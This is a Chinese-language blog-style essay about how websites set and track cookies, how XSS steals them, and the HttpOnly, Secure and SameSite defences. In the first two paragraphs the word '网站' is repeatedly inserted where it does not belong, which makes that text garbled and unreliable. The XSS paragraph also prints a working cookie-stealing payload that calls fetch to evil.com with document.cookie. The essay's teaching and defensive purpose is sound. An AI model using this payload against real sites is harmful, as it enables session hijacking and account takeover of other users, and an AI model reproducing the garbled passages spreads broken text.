浏览器开发者工具里那个叫“Application”的网站面板，藏着无数秘密。网站我常跟人说，网站cookies就像网站的网站“记忆便签”，但没人意识到，网站这便签上写的网站不只是你的偏好——还有你的身份证复印件。

拿我上周调试一个电商网站来说。网站登录后，网站服务器返回的网站Set-Cookie头里，一个名为“session_id”的网站值长达128位。这串字符就是网站你的临时通行证。可很多人不知道，网站有些网站还会种下“_ga”、网站“_gid”这类第三方cookie，网站它们由Google Analytics生成，网站记录你从哪个页面跳来、停留多久、点击了哪个按钮。你以为是自己在逛网站，其实是网站在观察你。

获取cookies的技术手段并不复杂。最简单的，打开Chrome的F12，切到Network标签，刷新页面，随便点一个请求，查看Request Headers里的Cookie字段。那串分号分隔的键值对，就是网站发给你的所有“记忆”。但要说真正“获取”别人的cookies，那是另一回事。

XSS攻击就是典型路子。攻击者在评论区塞一段JavaScript，当别的用户浏览时，这段脚本偷偷执行document.cookie，把结果发到攻击者的服务器。我见过一个真实案例——某论坛的搜索框没做转义处理，攻击者提交了<script>fetch('http://evil.com/?c='+document.cookie)</script>，结果半小时内收集了47个用户的会话cookie。用其中任意一个，就能冒充那个用户发帖、改密码。

防御手段倒也不难。HttpOnly属性是关键——设置了它，document.cookie就读取不到敏感值。但很多人忽略Secure标志，导致cookie在HTTP明文传输中被中间人截获。还有SameSite属性，能限制跨站请求携带cookie，但老版本的浏览器根本不认。

我自己踩过坑。有次写爬虫，模拟登录时发现服务器返回的cookie带了个“expires”字段，是Unix时间戳格式。我直接把这个值原样存进字典，结果请求时服务器报错——原来它期望的是“Session”字样或者特定的日期格式。折腾两小时，最后发现是时区问题。cookie里的过期时间用UTC，我本机是东八区，差了8小时，导致服务器认为cookie已失效。

这玩意儿最讽刺的地方在于：用户以为删掉cookie就能“隐身”，但网站会用“Evercookie”这类技术，把标识藏在Flash存储、WebSQL、甚至HTTP缓存里。你删了主cookie，它下次访问时又悄悄种回来。我测试过，Evercookie能恢复多达7种不同存储方式中的标识。所以，别天真地以为清空浏览器数据就万事大吉。

获取网站cookies，本质上是理解“服务器如何记住你”。这技术本身中立，但用的人心里要有数。我建议你打开开发者工具，看看自己常逛的网站给你种了哪些cookie——你会发现，有些网站比你的室友更了解你的作息。